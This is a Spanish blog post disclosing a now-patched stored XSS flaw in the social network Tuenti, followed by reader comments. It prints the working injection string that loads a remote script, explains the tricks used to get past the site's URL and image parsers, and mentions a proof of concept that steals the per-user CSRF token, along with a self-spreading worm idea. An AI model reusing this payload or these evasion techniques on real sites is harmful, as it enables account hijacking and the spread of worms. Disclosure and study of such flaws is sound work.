26
Date mayo 4th, 2009

Esto es una explicación sobre la anterior entrada.

El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente techie).

El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (XSS). Un ejemplo con un simple <h1> en un comentario de tablón:

Tuenti y <h1>

Sin hacer la citada combinación, todo era convertido a HTML Entities (gracias a htmlentities()). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje… es muy sencillo:

  1. El usuario escribe y envía.
  2. El servidor recibe y guarda, haciendo ciertos cambios [1].
  3. Cuando alguien lo necesita, se le envía lo guardado, parseado [2] por el script local previamente.

 

¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada… hasta la madrugada. Al día siguiente ya teníamos la formula mágica para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.

Algo parecido ocurrió con el chaval de 17 años y Twitter, aunque él lo tuvo más fácil: el XSS se aplicaba casi directamente en el campo de URL del perfil, con poco enredo (aunque lo de después fue un poquito más enrevesado).

Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la fórmula mágica e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (” “), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:

http://diazr.com/</script><script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/</script>

  1. La URL podía ser cualquiera, con el único requisito de que terminara en /.
  2. Era necesario colocar un </script> previamente antes de iniciar otro.
  3. Como se puede observar, el uso de comillas en el parámetro src y defer se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).
  4. Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.
  5. El parámetro defer no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta script.

Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un alert(). O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro “amigo”, como el csrfChallenge (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (global_uid) y otros valores seteados en el propio código JavaScript de Tuenti.

Hemos escrito el PoC de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes UIDs), se podría crear un gusano que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil… además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde aquí.

[1] Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.
[2] El parseado es un proceso mediante el cuál un script “traduce” una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia YouTube, aparece directamente el vídeo en cuestión y no el link.

  • del.icio.us
  • Facebook
  • Google Bookmarks
  • BarraPunto
  • Bitacoras.com
  • Meneame
  • HelloTxt
  • Tumblr
  • Twitter
Hay 26 comentarios
  • Avatar
    rayko
    mayo 4th, 2009 @ 4:56 pm Reply to this comment

    joder, para otras webs dejas 2 o 3 dias, y para la mierda esta casi 1 semana, con 2 cojones loco, con 2 cojones xD…

  • Avatar
    mayo 4th, 2009 @ 4:56 pm Reply to this comment

    Detalles de la vulnerabilidad de Tuenti…

    El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos fr…

  • Avatar
    mayo 4th, 2009 @ 5:05 pm Reply to this comment

    lo has hecho bien, pero los de tuenti menudos lentos xDDD

  • Avatar
    mayo 4th, 2009 @ 5:05 pm Reply to this comment

    Ya era hora de que lo arreglaran. Quiero un hamón ibérico ._.

    Saludos

  • Avatar
    mayo 4th, 2009 @ 5:07 pm Reply to this comment

    Ya era hora de que lo arreglaran. Quiero mi hamón ibérico NAO

    PD: Igual sale doble el coment, el FF hizo algo raro :S

  • Avatar
    mayo 4th, 2009 @ 5:21 pm Reply to this comment

    @rayko: hijo mio, es que esto ERA peligroso. Quién sabe lo que alguien con imaginación y tiempo libre (véase @outime) puede hacer… ;)

  • Avatar
    rayko
    mayo 4th, 2009 @ 5:35 pm Reply to this comment

    @macram padre, lo siento, se que es peligroso, pero es que son unos n00bs programando los de Tuenti que se merecen que la web la juankeen por mataos

    asco de web por dios xD

  • Avatar
    mayo 4th, 2009 @ 5:43 pm Reply to this comment

    @Manu: Si que era bastante peligroso, pero que menos que ya que se les aviso lo hubieran arreglado en un momento, que es lo que se tardaba.

    Ah y @outime lo dudo, su amor por Tuenti es muy grande, pero yo si me se de varios con odio a Tuenti que la hubieran liado parda :roll: xD

  • Avatar
    mayo 4th, 2009 @ 6:22 pm Reply to this comment

    Interesante, ñom ñom ñom miau

  • Avatar
    mayo 4th, 2009 @ 6:50 pm Reply to this comment

    Muy interesante, por fin se desveló el misterio … y lo arreglaron pronto ^^

  • Avatar
    Claudia
    mayo 4th, 2009 @ 7:12 pm Reply to this comment

    No me puedo creer que lo haya llegado a medio-entender ^_^ Bien explicado aunque si te tuviese in person no habría parado de hacerte preguntas… Me las ahorraré para otro día =) Como siempre, sigo quedándome a cuadros con la capacidad para hacer estas cosas =D

  • [...] usando el truco para insertar imágenes en los mensajes de Tuenti. Tal como se hace eco en Meneame, Rubén Díaz desvela como se explotaba este fallo en [...]

  • Avatar
    mayo 4th, 2009 @ 8:08 pm Reply to this comment

    jrandes

  • Avatar
    mayo 5th, 2009 @ 9:45 am Reply to this comment

    1 semana más y ale, nuevo bug :P

  • Avatar
    mayo 5th, 2009 @ 10:30 am Reply to this comment

    Vulnerabilidad crítica en Tuenti…

    El pasado día 30 de abril, Rubén Díaz Alonso (aka outime) y un servidor, encontramos una vulnerabilidad critica en Tuenti, una de las redes sociales mas usada en España. Después de 5 días los de Tuenti han arreglado la vulnerabilidad ……

  • Avatar
    mayo 5th, 2009 @ 11:08 am Reply to this comment

    Información Bitacoras.com…

    Esta anotación ha sido propuesta por un usuario para ser votada en Bitacoras.com.
    Para que el proceso finalice, deberás registrar tu blog en el servicio….

  • Avatar
    mayo 8th, 2009 @ 4:12 pm Reply to this comment

    Soy el webmaster de dimequien.com ^^
    me gustaria ponerme en contacto contigo, ya tienes mi email. Un saludo!

  • Avatar
    mayo 11th, 2009 @ 10:11 pm Reply to this comment

    Enhorabuena chavales! Los jetas de Tuenti se están enriqueciendo con una mierda de web que, además de insegura es inmoral con la privacidad de los usuarios y que, además, permite hotlink de las imágenes (y eso me parece más grave que el error que habéis descubierto)!!!

  • Avatar
    mayo 11th, 2009 @ 10:19 pm Reply to this comment

    @Isra: Completamente de acuerdo con tu comentario, y gracias :)

    En cuanto lo del hotlink, se supone que lo arreglaron al igual que lo de los amigos, pero es mentira. A mi otro tema que también me parece bastante grabe es el de sacar las imágenes grandes a partir de la URL de las miniaturas, sin ni siquiera estar logeado.

    Saludos!

  • Avatar
    mayo 14th, 2009 @ 7:56 am Reply to this comment

    Todas las aplicaciones informáticas tienen bugs y fallos de seguridad, y tuenti no iba a ser una excepción. Lo importante es la rapidez con la que las solucionan.

  • Avatar
    mayo 15th, 2009 @ 12:26 pm Reply to this comment

    @tuenti: Sí, lo importante es la rapidez con que las solucionan, el bug del hotlinking lleva ahí 3 años!!!

    Pero don’t worry, ya está denunciado ante la AGPD ;-)

  • Avatar
    mayo 19th, 2009 @ 4:27 am Reply to this comment

    La nueva interfaz de tuenti viene cargada de novedades… el primer agujero está en la portada: si copias el HTML para hacer phishing, la imagen anti-estafas ya no aparece.

    Por cierto, el JavaScript es bastante complejo }:-/

  • Avatar
    mayo 28th, 2009 @ 1:25 am Reply to this comment

    Estas vulns que encontrásteis parece que se fijaron antes que las mías…me equivoco?

    http://www.securityfocus.com/archive/1/503492

    Es simple curiosidad xDD

    YEnH4ckEr in the wild –> http://www.milw0rm.com/author/1911

    Saludos!

  • [...] this page was mentioned by Vicente Juan (@vicentejuan), Sergio C R (@scromega), Sergio C R (@scromega), Rubén Díaz (@outime) and others. [...]

  • Avatar
    AverageFury
    noviembre 9th, 2009 @ 1:40 am Reply to this comment

    jor jor jor

  • Avatar
    mayo 10th, 2010 @ 4:21 pm Reply to this comment

    [...] Como ya he dicho, procederé a retirar el servicio en cuanto publique esta entrada y trataré de olvidarme de esto. Eso sí, intentaré no ser amigable respecto a esta red social en cuanto a temas de seguridad. Si nos limitamos a lo estrictamente legal y nos pasamos la moralidad por el forro, entonces podré publicar cualquier vulnerabilidad nada más reportarla, a las 48h, y no a los cinco días. [...]

Todos los comentarios enviados pasan antes por una moderación previa. Esto no significa en ningún caso que tu opinión sea censurada, excepto si únicamente se fundamenta en el insulto gratuito o no aporta nada a la discusión. Por favor, sé coherente antes de teclear, todos te lo agradeceremos :-)

Nombre (requerido)

Mail (requerido)

Sitio web